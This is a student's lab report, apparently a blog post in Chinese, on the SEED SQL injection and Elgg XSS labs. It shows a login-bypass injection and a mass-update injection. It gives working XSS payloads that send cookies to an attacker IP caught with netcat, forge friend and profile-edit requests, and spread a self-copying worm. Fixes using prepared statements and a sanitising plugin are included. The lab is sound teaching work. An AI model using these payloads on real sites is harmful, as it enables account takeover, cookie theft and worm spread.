20222948 2022-2023-2 《网络攻防实践》第10周作业

本文详细介绍了SQL注入和XSS跨站脚本攻击的概念、实践过程以及防范措施。通过实际的SEED实验,展示了如何利用SQL注入进行非法登录和数据篡改,以及如何通过XSS攻击获取用户信息和传播蠕虫。同时,文中提出了修复这些安全漏洞的方法,包括使用参数绑定和启用安全插件来防止攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

实践十 Web应用程序安全攻防

1.实践内容

1.1 SQL概念

SQL是一门语言 :结构化查询语言,是一种非过程化语言,只需要提出做什么。
SQL是最重要的关系型数据库操作语言,是所有的关系型数据库管理系统的标准语言。

SQL语言的作用:
可以对数据进行增删查改(CRUD)操作;
数据库的队形进行创建、修改、删除操作;
用户赋予权限、取消权限、角色赋权限、取消权限、给用户关联角色;
事务控制。

1.2 SQL注入概念

SQL注入(SQL lnjection)是发生在Web程序中数据库层的安全漏洞,是比较常用的网络攻击方式之一,他不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至修改数据库。也就是说,SQL注入就是在用户输入的字符串中添加SQL语句,如果在设计不良的程序中忽略了检查,那么这些注入进去的SQL语句就会被数据库服务器误认为是正常的SQL语句而运行,攻击者就可以执行计划外的命令或者访问未授权的数据。

1.3 SQL注入的防范

1.开发人员在开发过程中要有SQL注入防御的思想,对用户输入的所有内容都要进行过滤。
2.使用数据库时,命名应该较为复杂,不应出现admin,user这样的库以及username , password这样的字段。
3.涉及密码的时候一定要加密存储。
4.使用一些框架及模版前检查代码是否有输入内容检测。
5.测试阶段,应进行SQL注入测试。
6.数据库权限最小化,防止拿到webshell权限,不要用特权账户或者能够登陆系统的账户启动数据库。

1.4 实践过程

1.4.1 SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
1.熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
2.对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
3.对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
4.SQL对抗:修复上述SQL注入攻击漏洞。

1.4.2 SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
1.发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
2.弹窗显示cookie信息:将cookie信息显示。
3.窃取受害者的cookies:将cookie发送给攻击者。
4.成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
5.修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
6.编写XSS蠕虫。
7.对抗XSS攻击。

2.实践过程

2.1 SEED SQL注入攻击与防御实验

2.1.1 mysql环境与基本SQL语句

1.打开SEED Ubuntu虚拟机并启动mysql,打开终端并输入命令:mysql -u root -p,接着输入密码:seedubuntu:
在这里插入图片描述
使用show databases;命令查看所有数据库:
在这里插入图片描述
2.使用Users数据库,输入命令:use Users;
在这里插入图片描述
查看Users数据库中的表,输入命令:show tables;
从图中可以看到,在图中只有一个表credential。
在这里插入图片描述
输入SQL指令select * from credential;可以查看一下这张表的具体内容:
输入命令:select * from credential where Name=‘Alice’; ,来筛选Alice的信息:
在这里插入图片描述

2.1.2 对select语句的SQL注入攻击

1.在虚拟机的浏览器中输入www.SEEDLabSQLInjection.com:
在这里插入图片描述
输入账户名、密码,尝试进行登录,登录失败:
对该网站进行分析,可以得出,该网站在进行登录验证的操作的时候,使用了unsafe_home.php文件。在这里插入图片描述
这个php文件正好在本机文件夹下:/var/www/SQLInjection。
在这里插入图片描述
2.打开这个文件,对这个php文件中的代码进行进一步分析:
在这里插入图片描述
这个网站使用SHA1对登录口令进行哈希运算,然后将哈希的结果存储到数据库中,用户在登录时,后台会将用户输入的口令进行SHA1运算,验证其是否与数据库中的值相等。找到后台进行登录验证时使用的SQL指令:
在这里插入图片描述
3.如果在一个mysql指令中输入#,那么#后面的就是对这行指令的注释了。这也就意味着只需要输入“用户名+‘+空格+#”,就能不用密码即可登录。
回到登录页面,将用户名改为Admin’ #,不输入密码,尝试进行登录:
在这里插入图片描述
可以看到成功黑进该网站:
在这里插入图片描述

2.1.3 对update语句的SQL注入攻击

1.打开unsafe_edit_backend.php文件,找到修改数据库的命令:
在这里插入图片描述
类似于上一节的分析,我们只需要在输入的新的昵称后加一个 ‘#,就能修改所有用户的昵称。
如Admin123456’#:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2.1.4 SQL对抗——SQL注入漏洞的修复

经过上述的分析,可以看出,由于在后台使用了一行完整的sql指令进行数据库处理,我们可以借助sql命令格式的特点,使用“#”符号对本该拥有的筛选条件进行“截断”,这样就可以实现未经许可的侵入攻击,达到非法访问和篡改信息的目的。

我们可以使用绑定参数的方法,对上述SQL语句进行修复。
修改前:

$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
      FROM credential
      WHERE name= '$input_uname' and Password='$hashed_pwd'";

修改后:

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

这样,原有的SQL语句需要填写的地方将以“?”代替,使用bind_param方法,将传入的字符串参数替代字符串中的“?”符号,防止了针对SQL字符串的截断。

2.2 SEED XSS跨站脚本攻击实验(Elgg)

2.2.1 发布恶意消息,显示警报窗口

1.在浏览器中输入地址:www.xsslabelgg.com,进入XSS实验网站:
在这里插入图片描述
输入用户名Alice和口令seedalice,登录Alice账户:
在这里插入图片描述
在这里插入图片描述
进入Profile页面:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
2.在Brief Description栏中输入指令:,并单击“save”保存设置。
在这里插入图片描述
我们可以看到在个人简介界面中显示了弹窗提示“XSS”这样一个弹窗:
在这里插入图片描述

2.2.2 cookies信息弹窗显示

1.修改brief description中的信息为

即可显示当前的cookie信息:
在这里插入图片描述
在这里插入图片描述

2.2.3 窃取受害者的cookies

1.输入指令查看本机ip地址为192.168.200.6:
在这里插入图片描述
为了实现窃取受害者的cookies的攻击,我们需要构造下面的payload:

<script>document.write('<img src=http://192.168.200.6:5555?c=' + escape(document.cookie) + '>');</script>

在这个payload中,攻击者会从本机地址的5555端口返回一个图片,并且会得到一个cookie值。
在这里插入图片描述

将这个payload修改到在Alice账号的Brief description中。

为了捕获到escape方法中返回的变量c的值,我们需要使用命令nc -l 5555 -v。将我们修改的个人信息保存,我们从终端中看到了一些信息:
在这里插入图片描述

2.2.4 成为受害者的朋友

1。分析一下添加好友的操作。先进入一个好友的个人主页,Boby:www.xsslabelgg.com/profile/boby:
在这里插入图片描述
在好友的个人主页,按下F12,打开开发者工具,然后切换到Network选项卡:
在这里插入图片描述
在这里插入图片描述
2.点击“Add friend”,浏览器便捕获到了一条请求:
在这里插入图片描述
点开这个请求,得到请求URL如下:

http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1683776534&__elgg_token=lqa-eMpe2uush2F4UYrJuA

这个请求URL包含如下信息:

地址:http://www.xsslabelgg.com/action/friends/add
好友ID(friend):45
时间戳:1652894432
token:Nbhjssw5yrGe-cnFAAYYSg

3.为了添加其他好友,构造下面的payload:

<script type="text/javascript">
window.onload = function () {
    var Ajax = null;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

  	var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 
	Ajax = new XMLHttpRequest();
	Ajax.open("GET", sendurl, true);
	Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	Ajax.send();
}
</script>

将这个Payload填写在Alice的用户资料的About me中,保存:
在这里插入图片描述
4.登录Boby的个人账户,然后点进Alice的个人主页,可直接在Web Console的Network中看到自动申请添加好友的数据包:
在这里插入图片描述

2.2.5 修改受害者的信息

1.分析一下修改个人信息时,会向服务器发送什么样的请求。
进入Alice的EDIT PROFILE界面,打开开发人员工具:
在这里插入图片描述
我们可以看到请求的链接地址信息和时间戳等信息:
在这里插入图片描述
2.构造下面的payload:

<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "name=" + userName + "&description=<p>This had been changed by XSS attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
	}
</script>

3.将这个payload代码拷贝到个人信息的About me中并保存:
在这里插入图片描述

登录Boby的个人账户,然后点进Alice的个人主页,发现Boby的信息为“This had been changed by XSS attack.”:在这里插入图片描述

2.2.6 编写XSS蠕虫

1.所用的蠕虫代码如下:
代码通过将XSS的payload自动复制到受害者的个人资料中实现对受害者的感染。如果有其他用户访问了受害者的个人主页,那么他也会被感染。受到感染后,受害者的个人简介会变为“Hacked by XSS WORM !!!”。

<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "&name=" + userName + "&description=<p>Hacked by XSS WORM !!!"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

2.将这个蠕虫代码写到Alice的About me中,保存:
在这里插入图片描述
如果好友Boby访问了Alice的主页,就会感染xss蠕虫。
查看Boby的 About me信息,可以发现感染了xss蠕虫攻击代码:
在这里插入图片描述
3.如果另一个用户访问了Boby的主页,那么他也会受到感染;
在这里插入图片描述

2.2.7 对抗XSS攻击

1.用管理员账户登录:
在这里插入图片描述
找到Account->administration->plugins,找到插件HTMLawed,点击activate激活:
在这里插入图片描述
2.查看Alice的profile,可以看到,刚刚的XSS攻击已经没有效果,Alice中的代码被当作about me显示:
在这里插入图片描述

3.学习中遇到的问题及解决

问题1:主机和Ubuntu虚拟机之间无法进行复制粘贴。
解决方案:重新下载并修复VM Tools就可以实现复制粘贴功能。

4.实践总结

通过本次实验,我学习到了Web应用程序安全的基本原理和方法。对数据库有了更深入的认识,学习了基本的SQL语言,特别是SQL注入攻击。对Web应用程序安全有了进一步的认识。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值